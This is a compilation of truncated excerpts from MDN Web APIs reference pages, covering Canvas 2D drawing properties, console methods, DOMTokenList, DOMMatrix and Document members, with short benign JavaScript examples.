quare"; Options "butt" The ends of lines are squared off at the endpoints. Default value. "round" The ends of lines are rounded. "square" The ends of lines are squared off by adding a box with an equal width and half the height of the line's thickness. Examples Changing the shape of line caps This example rounds the end caps of a straight line. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.moveTo(20, 20); ctx.lineWidth = 15; ctx.lineCap = 'round'; ctx.lineTo(100, 100); ctx.stroke(); Result Comparison of line caps In this example three lines are drawn, each with a different value for the lineCap property. Two guides to see the exact differences between the three are ad...
CanvasRenderingContext2D.lineDashOffset - Web APIs
ts the line dash offset, or "phase." Note: Lines are drawn by calling the stroke() method. Syntax ctx.lineDashOffset = value; value A float specifying the amount of the line dash offset. The default value is 0.0. Examples Offsetting a line dash This example draws two dashed lines. The first has no dash offset. The second has a dash offset of 4. ...
CanvasRenderingContext2D.lineJoin - Web APIs
ctangular corners of each segment. "miter" Connected segments are joined by extending their outside edges to connect at a single point, with the effect of filling an additional lozenge-shaped area. This setting is affected by the miterLimit property. Default value. Examples Changing the joins in a path This example applies rounded line joins to a path. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.lineWidth = 20; ctx.lineJoin = 'round'; ctx.beginPath(); ctx.moveTo(20, 20); ctx.lineTo(190, 100); ctx.lineTo(280, 20); ctx.lineTo(280, 150); ctx.stroke(); Result Comparison of line joins The example below draws three different paths, demonstrating each of the three lineJoin options. <canvas id="c...
CanvasRenderingContext2D.lineWidth - Web APIs
the stroke(), strokeRect(), and strokeText() methods. Syntax ctx.lineWidth = value; Options value A number specifying the line width, in coordinate space units. Zero, negative, Infinity, and NaN values are ignored. This value is 1.0 by default. Examples Changing line width This example draws a line and a rectangle, using a line width of 15 units. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.lineWidth = 15; ctx.beginPath(); ctx.moveTo(20, 20); ctx.lineTo(130, 130); ctx.rect(40, 40, 70, 70); ctx.stroke(); Result More examples For more examples and explanation about this property, see Applying styles and color in the Canvas Tutorial. Specifications Specification Status C...
CanvasRenderingContext2D.moveTo() - Web APIs
by the given (x, y) coordinates. Syntax void ctx.moveTo(x, y); Parameters x The x-axis (horizontal) coordinate of the point. y The y-axis (vertical) coordinate of the point. Examples Creating multiple sub-paths This example uses moveTo() to create two sub-paths within a single path. Both sub-paths are then rendered with a single stroke() call. HTML <canvas id="canvas"></canvas>
JavaScript The first line begins at (50, 50) and ends at (200, 50). The second line begins at (50, 90) and ends at (280, 120). var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.moveTo(50, 50); // Begin first sub-path ctx.lineTo(200, 50); ctx.moveTo(50, 90); // Begin second sub-path ctx.lineTo(280, 120); ctx.stroke(); Result Specifications ...
CanvasRenderingContext2D.rect() - Web APIs
inate of the rectangle's starting point. width The rectangle's width. Positive values are to the right, and negative to the left. height The rectangle's height. Positive values are down, and negative are up. Examples Drawing a rectangle This example creates a rectangular path using the rect() method. The path is then rendered using the fill() method. HTML <canvas id="canvas"></canvas>
JavaScript The rectangle's corner is located at (10, 20). It has a width of 150 and a height of 100. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.rect(10, 20, 150, 100); ctx.fill(); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.rect' in that specification. Liv...
CanvasRenderingContext2D.removeHitRegion() - Web APIs
The CanvasRenderingContext2D method removeHitRegion() removes a given hit region from the canvas. Syntax void ctx.removeHitRegion(id); Parameters id A DOMString representing the id of the region that is to be removed. Examples Using the removeHitRegion method This example demonstrates the removeHitRegion() method. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Set a hit region ctx.addHitRegion({id: 'eyes'}); // Remove it from the canvas ctx.removeHitRegion('eyes'); Specifications Canvas hit regions have been removed from the WHATWG Living Standard, although discussions about future standardization are ongoing. See https://github.com/whatwg/html/issues/3407 for more information. ...
CanvasRenderingContext2D.restore() - Web APIs
re is no saved state, this method does nothing. Fore more information about the drawing state, see CanvasRenderingContext2D.save(). Syntax void ctx.restore(); Examples Restoring a saved state This example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later. ...
CanvasRenderingContext2D.save() - Web APIs
X, shadowOffsetY, shadowBlur, shadowColor, globalCompositeOperation, font, textAlign, textBaseline, direction, imageSmoothingEnabled. Syntax void ctx.save(); Examples Saving the drawing state This example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later. ...
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
ollPathIntoView() method of the Canvas 2D API scrolls the current or given path into view. It is similar to Element.scrollIntoView(). Syntax void ctx.scrollPathIntoView(); void ctx.scrollPathIntoView(path); Parameters path A Path2D path to use. Examples Using the scrollPathIntoView method This example demonstrates the scrollPathIntoView() method. ...
CanvasRenderingContext2D.shadowBlur - Web APIs
. This value doesn't correspond to a number of pixels, and is not affected by the current transformation matrix. The default value is 0. Negative, Infinity, and NaN values are ignored. Examples Adding a shadow to a shape This example adds a blurred shadow to a rectangle. The shadowColor property sets its color, and shadowBlur sets its level of bluriness. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Shadow ctx.shadowColor = 'red'; ctx.shadowBlur = 15; // Rectangle ctx.fillStyle = 'blue'; ctx.fillRect(20, 20, 150, 100); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.shadowBlur' in that specification. L...
CanvasRenderingContext2D.shadowOffsetX - Web APIs
s are to the right, and negative to the left. The default value is 0 (no horizontal offset). Infinity and NaN values are ignored. Examples Moving a shadow horizontally This example adds a blurred shadow to a rectangle. The shadowColor property sets its color, shadowOffsetX sets its offset 25 units to the right, and shadowBlur gives it a blur level of 10. ...
CanvasRenderingContext2D.shadowOffsetY - Web APIs
itive values are down, and negative are up. The default value is 0 (no vertical offset). Infinity and NaN values are ignored. Examples Moving a shadow vertically This example adds a blurred shadow to a rectangle. The shadowColor property sets its color, shadowOffsetY sets its offset 25 units towards the bottom, and shadowBlur gives it a blur level of 10. ...
CanvasRenderingContext2D.strokeStyle - Web APIs
okeStyle = color; ctx.strokeStyle = gradient; ctx.strokeStyle = pattern; Options color A DOMString parsed as CSS <color> value. gradient A CanvasGradient object (a linear or radial gradient). pattern A CanvasPattern object (a repeating image). Examples Changing the stroke color of a shape This example applies a blue stroke color to a rectangle. HTML <canvas id="canvas"></canvas>
JavaScript var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); ctx.strokeStyle = 'blue'; ctx.strokeRect(10, 10, 100, 100); Result Creating multiple stroke colors using loops In this example, we use two for loops and the arc() method to draw a grid of circles, each having a different stroke color. To achieve this, we use the two variables i and j to generate a unique RG...
CanvasRenderingContext2D.textBaseline - Web APIs
nd Korean scripts.) "bottom" The text baseline is the bottom of the bounding box. This differs from the ideographic baseline in that the ideographic baseline doesn't consider descenders. The default value is "alphabetic". Examples Comparison of property values This example demonstrates the various textBaseline property values. ...
CanvasRenderingContext2D.transform() - Web APIs
o scaling. b (m12) Vertical skewing. c (m21) Horizontal skewing. d (m22) Vertical scaling. A value of 1 results in no scaling. e (dx) Horizontal translation (moving). f (dy) Vertical translation (moving). Examples Skewing a shape This example skews a rectangle both vertically (.2) and horizontally (.8). Scaling and translation remain unchanged. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillRect(0, 0, 100, 100); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'CanvasRenderingContext2D.transform' in that specification. Living Standard ...
CanvasRenderingContext2D.translate() - Web APIs
zontal direction. Positive values are to the right, and negative to the left. y Distance to move in the vertical direction. Positive values are down, and negative are up. Examples Moving a shape This example draws a square that is moved from its default position by the translate() method. An unmoved square of the same size is then drawn for comparison. HTML <canvas id="canvas"></canvas>
JavaScript The translate() method translates the context by 110 horizontally and 30 vertically. The first square is shifted by those amounts from its default position. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Moved square ctx.translate(110, 30); ctx.fillStyle = 'red'; ctx.fillRect(0, 0, 80, 80); // Reset current transformation matrix to the identity matri...
A basic ray-caster - Web APIs
d been reading about was not only soon to be supported in Firefox, but was already supported in the current version of Safari, I had to try a little experiment. The canvas overview and tutorial I found here at MDN are great, but nobody had written about animation yet, so I thought I'd try a port of a basic raycaster I'd worked on a while ago, and see what sort of performance we can expect from a
JavaScript-controlled pixel buffer. How? The basic idea is to use setInterval() at some arbitrary delay that corresponds to a desired frame rate. After every interval an update function will repaint the canvas showing the current view. I know I could have started with a simpler example, but I'm sure the canvas tutorial will get to that, and I wanted to see if I could do this. So every update, the raycast...
Drawing shapes with canvas - Web APIs
ngle parameters define the start and end points of the arc in radians, along the curve of the circle. These are measured from the x axis. The anticlockwise parameter is a Boolean value which, when true, draws the arc anticlockwise; otherwise, the arc is drawn clockwise. Note: Angles in the arc function are measured in radians, not degrees. To convert degrees to radians you can use the following
JavaScript expression: radians = (Math.PI/180)*degrees. The following example is a little more complex than the ones we've seen above. It draws 12 different arcs all with different angles and fills. The two for loops are for looping through the rows and columns of arcs. For each arc, we start a new path by calling beginPath(). In the code, each of the parameters for the arc is in a variable for clarity, ...
Using channel messaging - Web APIs
iving browsing context. In this case, we are transferring MessageChannel.port2 to the IFrame, so it can be used to communicate with the main page. When our button is clicked, we prevent the form from submitting as normal and then send the value entered in our text input to the IFrame via the MessageChannel. ...
console.debug() - Web APIs
The console method debug() outputs a message to the web console at the "debug" log level. The message is only displayed to the user if the console is configured to display debug output. Note: This feature is available in Web Workers. Syntax console.debug(obj1 [, obj2, ..., objN]); console.debug(msg [, subst1, ..., substN]); Parameters obj1 ... objN A list of
JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output to the console. msg A
JavaScript string containing zero or more substitution strings, which are replaced with subst1 through substN in consecutive order. subst1 ... substN
JavaScript objects with which to replace substitution strings within msg. This gives you additional control over the format of t...
Console.dir() - Web APIs
The Console method dir() displays an interactive list of the properties of the specified
JavaScript object. The output is presented as a hierarchical listing with disclosure triangles that let you see the contents of child objects. In other words, console.dir() is the way to see all the properties of a specified
JavaScript object in console by which the developer can easily get the properties of the object. Note: This feature is available in Web Workers. Syntax console.dir(object); Parameters object A
JavaScript object whose properties should be output. Specifications Specification Status Comment Console APIThe definition of 'console.dir()' in that specification. Living Standard Initial definition ...
Console.dirxml() - Web APIs
Displays an interactive tree of the descendant elements of the specified XML/HTML element. If it is not possible to display as an element the
JavaScript Object view is shown instead. The output is presented as a hierarchical listing of expandable nodes that let you see the contents of child nodes. Syntax console.dirxml(object); Parameters object A
JavaScript object whose properties should be output. Specifications Specification Status Comment Console APIThe definition of 'console.dirxml()' in that specification. Living Standard Initial definition ...
Console.error() - Web APIs
message to the Web Console. Note: This feature is available in Web Workers. Syntax console.error(obj1 [, obj2, ..., objN]); console.error(msg [, subst1, ..., substN]); console.exception(obj1 [, obj2, ..., objN]); console.exception(msg [, subst1, ..., substN]); Note: console.exception() is an alias for console.error(); they are functionally identical. Parameters obj1 ... objN A list of
JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. msg A
JavaScript string containing zero or more substitution strings. subst1 ... substN
JavaScript objects with which to replace substitution strings within msg. This gives you additional control over the format of the output. See Outputting text to the console in the...
Console.info() - Web APIs
The console.info() method outputs an informational message to the Web Console. In Firefox, a small "i" icon is displayed next to these items in the Web Console's log. Note: This feature is available in Web Workers. Syntax console.info(obj1 [, obj2, ..., objN]); console.info(msg [, subst1, ..., substN]); Parameters obj1 ... objN A list of
JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. msg A
JavaScript string containing zero or more substitution strings. subst1 ... substN
JavaScript objects with which to replace substitution strings within msg. This gives you additional control over the format of the output. See Outputting text to the console in the documentation of console for details. Specificat...
Console.warn() - Web APIs
Outputs a warning message to the Web Console. Note: This feature is available in Web Workers.Note: In Chrome and Firefox, warnings have a small exclamation point icon next to them in the Web Console log. Syntax console.warn(obj1 [, obj2, ..., objN]); console.warn(msg [, subst1, ..., substN]); Parameters obj1 ... objN A list of
JavaScript objects to output. The string representations of each of these objects are appended together in the order listed and output. msg A
JavaScript string containing zero or more substitution strings. subst1 ... substN
JavaScript objects with which to replace substitution strings within msg. This gives you additional control over the format of the output. See Outputting text to the console in the documentation of console for details. Specifications ...
Constraint validation API - Web APIs
case letters): </label> <input type="text" name="name" id="name" required pattern="[A-Za-z]+"> <button>Submit</button> </form> The basic HTML form validation features will cause this to produce a default error message if you try to submit the form with either no valid filled in, or a value that does not match the pattern. ...
DOMException - Web APIs
paces in XML. (Legacy code value: 14 and legacy constant name: NAMESPACE_ERR) InvalidAccessError The object does not support the operation or argument. (Legacy code value: 15 and legacy constant name: INVALID_ACCESS_ERR) TypeMismatchError The type of the object does not match the expected type. (Legacy code value: 17 and legacy constant name: TYPE_MISMATCH_ERR) This value is deprecated; the
JavaScript TypeError exception is now raised instead of a DOMException with this value. SecurityError The operation is insecure. (Legacy code value: 18 and legacy constant name: SECURITY_ERR) NetworkError A network error occurred. (Legacy code value: 19 and legacy constant name: NETWORK_ERR) AbortError The operation was aborted. (Legacy code value: 20 and legacy constant name: ABORT_ERR) URLMisma...
DOMMatrixReadOnly.flipX() - Web APIs
xamples This SVG contains two paths in the shape of a triangle, both drawn to the same position. Note that the x co-ordinate of the viewBox attribute is negative, showing us content from both sides of the x-axis. <svg width="100" height="100" viewBox="-50 0 100 100"> <path fill="red" d="M 0 50 L 50 0 L 50 100 Z" /> <path id="flipped" fill="blue" d="M 0 50 L 50 0 L 50 100 Z" /> </svg> This
JavaScript first creates an identity matrix, then uses the `flipX()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis. The red triangle is left in place. const flipped = document.getElementById('flipped'); const matrix = new DOMMatrixReadOnly(); const flippedMatrix = matrix.flipX(); flipped.setAttribute('transform', flippedMatrix.toString()); Scree...
DOMMatrixReadOnly.scale() - Web APIs
this in the Examples section, below. Examples This SVG contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewBox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedOrigin" width="25" height="25" fill="green" /> </svg> This
JavaScript first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter. We test if the browser supports a six parameter scale() method by creating a new matrix using three parameters and observing it's is2D property -- if this is false then the third parameter has been accepted by the browser as a scaleZ parameter, making this a 3D matrix. We then create ...
DOMMatrixReadOnly.translate() - Web APIs
rix is not modified. If a translation is applied about the z-axis, the resulting matrix will be a 4x4 3D matrix. Examples This SVG contains two squares, one red and one blue, each positioned at the document origin: <svg width="250" height="250" viewBox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> The following
JavaScript first creates an identity matrix, then uses the translate() method to create a new, translated matrix -- which is then applied to the blue square as a transform. The red square is left in place. const matrix = new DOMMatrixReadOnly().translate(25, 25); document.querySelector('#transformed').setAttribute('transform', matrix.toString()); ScreenshotLive sample Specifications Specifica...
DOMObject - Web APIs
The obsolete DOMObject interface was used in earlier versions of the DOM specification as the base class for any object data type. The specifications now simply use the
JavaScript Object type. Specifications Specification Status Comment Document Object Model (DOM) Level 3 Core SpecificationThe definition of 'DOMObject' in that specification. Obsolete Initial specification ...
DOMPointReadOnly.x - Web APIs
In general, positive values x mean to the right, and negative values of x means to the left, assuming no transforms have resulted in a reversal. Syntax const xPos = someDOMPointReadOnly.x; Value A double-precision floating-point value indicating the x coordinate's value for the point. This value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be NaN or +-Infinity). ...
DOMRectReadOnly - Web APIs
Properties DOMRectReadOnly.x Read only The x coordinate of the DOMRect's origin. DOMRectReadOnly.y Read only The y coordinate of the DOMRect's origin. ...
DOMString - Web APIs
Passing null to a method or parameter accepting a DOMString typically stringifies to "null". Specifications Specification Status Comment Web IDLThe definition of 'DOMString' in that specification. ...
DOMTokenList.add() - Web APIs
ameters tokenN A DOMString representing the token (or tokens) to add to the tokenList. Return value undefined Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We then add a new token to the list, and write the list into the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: let span = document.querySelector("span"); let classes = span.classList; classes.add("d"); span.textContent = classes; The output looks like this: You can add multiple tokens as well: span.classList.add("d", "e", "f"); Specifications Specification Status Comment DOMThe definition of 'add()' in that specification. Living Standard Initial definition ...
DOMTokenList.contains() - Web APIs
list. Return value A Boolean, which is true if the calling list contains token, otherwise false. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We then test for the existence of "c" in the list, and write the result into the <span>'s Node.textContent. ...
DOMTokenList.entries() - Web APIs
urn value Returns an iterator. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We when retrieve an iterator containing the key/value pairs using entries(), then iterate through each one using a for...of loop, writing them to the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: let span = document.querySelector("span"); let classes = span.classList; let iterator = classes.entries(); for (let value of iterator) { span.textContent += value + ' ++ '; } The output looks like this: Specifications Specification Status Comment DOMThe definition of 'entries() (as iterable<Node>)' in that specification. Living Standard Initial definiti...
DOMTokenList.forEach() - Web APIs
Value to use as this when executing callback. Return value undefined. Example In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We when retrieve an iterator containing the values using forEach(), writing each one to the <span>'s Node.textContent inside the forEach() inner function. ...
DOMTokenList.item() - Web APIs
It returns null if the number is greater than or equal to the length of the list. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We then retrieve the last item in the list using item(tokenList.length - 1), and write it into the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: let span = document.querySelector("span"); let classes = span.classList; let item = classes.item(classes.length-1); span.textContent = item; The output looks like this: Specifications Specification Status Comment DOMThe definition of 'item()' in that specification. Living Standard Initial definition ...
DOMTokenList.keys() - Web APIs
Return value Returns an iterator. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We when retrieve an iterator containing the keys using values(), then iterate through those keys using a for ... of loop, writing each one to the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: var span = document.querySelector("span"); var classes = span.classList; var iterator = classes.keys(); for(var value of iterator) { span.textContent += value + ' ++ '; } The output looks like this: Specifications Specification Status Comment DOMThe definition of 'keys() (as iterable<Node>)' in that specification. Living Standard Initial definition ...
DOMTokenList.length - Web APIs
DOMTokenList interface is an integer representing the number of objects stored in the object. Syntax tokenList.length; Value An integer. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList, then write the length of the list to the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: let span = document.querySelector("span"); let classes = span.classList; let length = classes.length; span.textContent = `classList length = ${length}`; The output looks like this: Specifications Specification Status Comment DOMThe definition of 'length' in that specification. Living Standard Initial definition ...
DOMTokenList.remove() - Web APIs
from the list. If the string is not in the list, no error is thrown, and nothing happens. Return value undefined Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We then remove a token from the list, and write the list into the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: let span = document.querySelector("span"); let classes = span.classList; classes.remove("c"); span.textContent = classes; The output looks like this: To remove multiple classes at once, you can supply multiple tokens. The order you supply the tokens doesn't have to match the order they appear in the list: let span2 = document.getElementsByTagName("span")[0] let classes2 = span.classList; ...
DOMTokenList.replace() - Web APIs
is true if oldToken was successfully replaced, or false if not. Note: In older browsers, replace() returns void. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We then replace a token in the list, and write the list into the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: let span = document.querySelector("span"); let classes = span.classList; let result = classes.replace("c", "z"); console.log(result); if (result) { span.textContent = classes; } else { span.textContent = 'token not replaced successfully'; } The output looks like this: Polyfill The following polyfill will add the replace method to the DOMTokenList class. The following code will only ...
DOMTokenList.supports() - Web APIs
ken) Parameters token A DOMString containing the token to query for. Returns A Boolean indicating whether the token was found. Example let iframe = document.getElementById('display'); if (iframe.sandbox.supports('an-upcoming-feature')) { // support code for mystery future feature } else { // fallback code } if (iframe.sandbox.supports('allow-scripts')) { // instruct frame to run
JavaScript // // (NOTE: This feature is well-supported; this is just an example!) // } Specifications Specification Status Comment Credential Management Level 1 Working Draft Initial definition. ...
DOMTokenList.toggle() - Web APIs
, but not removed. Return value A Boolean indicating whether token is in the list after the call. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We then replace a token in the list, and write the list into the <span>'s Node.textContent. ...
DOMTokenList.value - Web APIs
t returns the value of the list as a DOMString, or clears and sets the list to the given value. Syntax tokenList.value; Value A DOMString Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList, then write the value of the list to the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: let span = document.querySelector("span"); let classes = span.classList; span.textContent = classes.value; The output looks like this: Specifications Specification Status Comment DOMThe definition of 'value' in that specification. Living Standard Initial definition ...
DOMTokenList.values() - Web APIs
urn value Returns an iterator. Examples In the following example we retrieve the list of classes set on a <span> element as a DOMTokenList using Element.classList. We when retrieve an iterator containing the values using values(), then iterate through those values using a for ... of loop, writing each one to the <span>'s Node.textContent. First, the HTML: <span class="a b c"></span> Now the
JavaScript: var span = document.querySelector("span"); var classes = span.classList; var iterator = classes.values(); for(var value of iterator) { span.textContent += value + ' ++ '; } The output looks like this: Specifications Specification Status Comment DOMThe definition of 'values() (as iterable<Node>)' in that specification. Living Standard Initial definition ...
DOMUserData - Web APIs
It is returned or used as an argument by Node.setUserData(), Node.getUserData(), used as the third argument to handle() on UserDataHandler, and is used or returned by various DOMConfiguration methods. Note that although it can be an object, in Mozilla, it may be returned as a string or other type, if it was set as such a type (e.g., Node.setUserData() and Node.getUserData()). DOMUserData is not persisted nor serialized and will not be present after the application has restarted or after a crash. If you are interested in persisting data you might rather need to use nsISessionStore. ...
DataTransferItem.webkitGetAsEntry() - Web APIs
y the example are shown here. #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "Arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "Arial", sans-serif; }
JavaScript content First, let's look at the recursive scanFiles() function. This function takes as input a FileSystemEntry representing an entry in the file system to be scanned and processed (the item parameter), and an element into which to insert the list of contents (the container parameter). Note that to read all files in a directory, readEntries needs to be called repeatedly until it returns an emp...
DataTransferItemList.DataTransferItem() - Web APIs
The zero-based index of the item in the drag data list to return. Return value The DataTransferItem object at the specified index in the item list. If the index is less than zero or greater than or equal to the number of items in the list (as indicated by the list's length property, undefined is returned. The returned value is never null. Example This example shows how to use drag and drop.
JavaScript function dragstart_handler(ev) { console.log("dragStart"); // Add this element's id to the drag payload so the drop handler will // know which element to add to its tree var dataList = ev.dataTransfer.items; dataList.add(ev.target.id, "text/plain"); // Add some other items to the drag payload dataList.add("<p>... paragraph ...</p>", "text/html"); dataList.add("http://www.example.
DataTransferItemList.length - Web APIs
interface returns the number of items currently in the drag item list. Syntax length = DataTransferItemList.length; Value The number of drag data items in the list, or 0 if the list is empty or disabled. The drag item list is considered to be disabled if the item list's DataTransfer object is not associated with a drag data store. Example This example shows the use of the length property.
JavaScript function dragstart_handler(ev) { console.log("dragStart"); // Add this element's id to the drag payload so the drop handler will // know which element to add to its tree var dataList = ev.dataTransfer.items; dataList.add(ev.target.id, "text/plain"); // Add some other items to the drag payload dataList.add("<p>... paragraph ...</p>", "text/html"); dataList.add("http://www.example.
DataTransferItemList.remove() - Web APIs
e(index); Parameters index The zero-based index number of the item in the drag data list to remove. If the index doesn't correspond to an existing item in the list, the list is left unchanged. Return value undefined. Exceptions InvalidStateError The drag data store is not in read/write mode, so the item can't be removed. Example This example shows the use of the remove() method.
JavaScript function dragstart_handler(ev) { console.log("dragStart"); // Add this element's id to the drag payload so the drop handler will // know which element to add to its tree var dataList = ev.dataTransfer.items; dataList.add(ev.target.id, "text/plain"); // Add some other items to the drag payload dataList.add("<p>... paragraph ...</p>", "text/html"); dataList.add("http://www.example.
DedicatedWorkerGlobalScope.postMessage() - Web APIs
The postMessage() method of the DedicatedWorkerGlobalScope interface sends a message to the main thread that spawned it. This accepts a single parameter, which is the data to send to the worker. The data may be any value or
JavaScript object handled by the structured clone algorithm, which includes cyclical references. The main scope that spawned the worker can send back information to the thread that spawned it using the Worker.postMessage method. Syntax postMessage(aMessage, transferList); Parameters aMessage The object to deliver to the main thread; this will be in the data field in the event delivered to the Worker.onmessage handler. This may be any value or
JavaScript object handled by the structured clone algorithm, which includes cyclical references. transferList Optional An option...
Device Memory API - Web APIs
Capabilities of the client devices largely depend on the amount of available RAM. Traditionally, developrs had to use heruistics and either benchmark the device or infer the device capabilities based on other factors like device manufacturer or User Agent strings. Accessing device memory capacity There are two ways to acces the approximate amount of RAM device has: via
JavaScript API and via Client Hints HTTP header.
JavaScript API You may query the approximate amount of ram device has by retreiving Navigator.deviceMemory var ram1 = window.navigator.deviceMemory; var ram2 = navigator.deviceMemory; Both of these will return the same result. Client Hints Header You also may use Client Hints directive Device-Memory to retreive the same approximate RAM capacity. Specifications Sp...
DirectoryReaderSync - Web APIs
iled to reach any substantial traction. Basic concepts Before you call the only method in this interface, readEntries(), create the DirectoryEntrySync object. But DirectoryEntrySync (as well as FileEntrySync) is not a data type that you can pass between a calling app and Web Worker thread. It's not a big deal, because you don't really need to have the main app and the worker thread see the same
JavaScript object; you just need them to access the same files. You can do that by passing a list of filesystem: URLs--which are just strings--instead of a list of entries. You can also use the filesystem: URL to look up the entry with resolveLocalFileSystemURL(). That gets you back to a DirectoryEntrySync (as well as FileEntrySync) object. Example In the following code snippet from HTML5Rocks, we create...
Document.hasFocus() - Web APIs
nt in the document has no focus; true if the active element in the document has focus. Example This example checks whether the document has focus every 300 milliseconds. To test the functionality of hasFocus(), click on the button to open a new window, and try switching between the two pages. ...
Document.images - Web APIs
The images read-only property of the Document interface returns a collection of the images in the current HTML document. Syntax var imageCollection = document.images; Value An HTMLCollection providing a live list of all of the images contained in the current document. Each entry in the collection is an HTMLImageElement representing a single image element. Usage notes You can use either
JavaScript array notation or the item() method on the returned collection to access the items in the collection. The following are equivalent: firstImage = imageCollection.item(0); firstImage = imageCollection[0]; Example This example looks through the list of images and finds one whose name is "banner.gif". var ilist = document.images; for(var i = 0; i < ilist.length; i++) { if(ilist[i].src == 'banne...
Document.lastModified - Web APIs
ied into milliseconds This example transforms lastModified into the number of milliseconds since January 1, 1970, 00:00:00, local time. let nLastModif = Date.parse(document.lastModified); Notes Note that as a string, lastModified cannot easily be used for comparing the modification dates of documents. ...
Document.ononline - Web APIs
s attribute changes. It is important to note that this event and attribute are inherently unreliable. A computer can be connected to a network without having Internet access. You can register listeners for these events in a few familiar ways: Using addEventListener on the window, document, or document.body By setting the .ononline or .onoffline properties on document or document.body to a
JavaScript Function object. (Note: using window.ononline or window.onoffline will not work for compatibility reasons.) By specifying ononline="..." or onoffline="..." attributes on the <body> tag in the HTML markup. Example There's a simple test case that you can run to verify that the events are working. References Online and offline events [en-US] WHATWG Web App Specification ...
Document.open() - Web APIs
with a number of different HTML fragments, before closing it again. document.open(); document.write("<p>Hello world!</p>"); document.write("<p>I am a fish</p>"); document.write("<p>The number is 42</p>"); document.close(); Notes An automatic document.open() call happens when document.write() is called after the page has loaded. For years Firefox and Internet Explorer additionally erased all
JavaScript variables, etc., in addition to removing all nodes. This is no longer the case.document non-spec'ed parameters to document.open Gecko-specific notes Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin. Starting with Gecko 1.9.2, document.open() uses the principal of the document who...
Document.queryCommandState() - Web APIs
in Document.execCommand() command applied. Syntax queryCommandState(String command) Parameters command is a command from Document.execCommand() Return value queryCommandState() can return a Boolean value or null if the state is unknown. ...
Document - Web APIs
tionstart property. Non-standard extensions Firefox notes Mozilla defines a set of non-standard properties made only for XUL content: Document.currentScript Returns the <script> element that is currently executing. Document.documentURIObject (Mozilla add-ons only!) Returns the nsIURI object representing the URI of the document. This property only has special meaning in privileged
JavaScript code (with UniversalXPConnect privileges). Document.popupNode Returns the node upon which a popup was invoked. Document.tooltipNode Returns the node which is the target of the current tooltip. Mozilla also define some non-standard methods: Document.execCommandShowHelp()Obsolete since Gecko 14 This method never did anything and always threw an exception, so it was removed in Gecko 14.0 (...
DocumentFragment - Web APIs
is triggered instead of potentially one for each node inserted if they were inserted separately. This interface is also of great use with Web components: <template> elements contain a DocumentFragment in their HTMLTemplateElement.content property. An empty DocumentFragment can be created using the document.createDocumentFragment() method or the constructor. ...
DocumentOrShadowRoot.activeElement - Web APIs
ero, et accumsan nunc orci eu dui.</textarea> <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">This is Text Area Two. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. ...
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
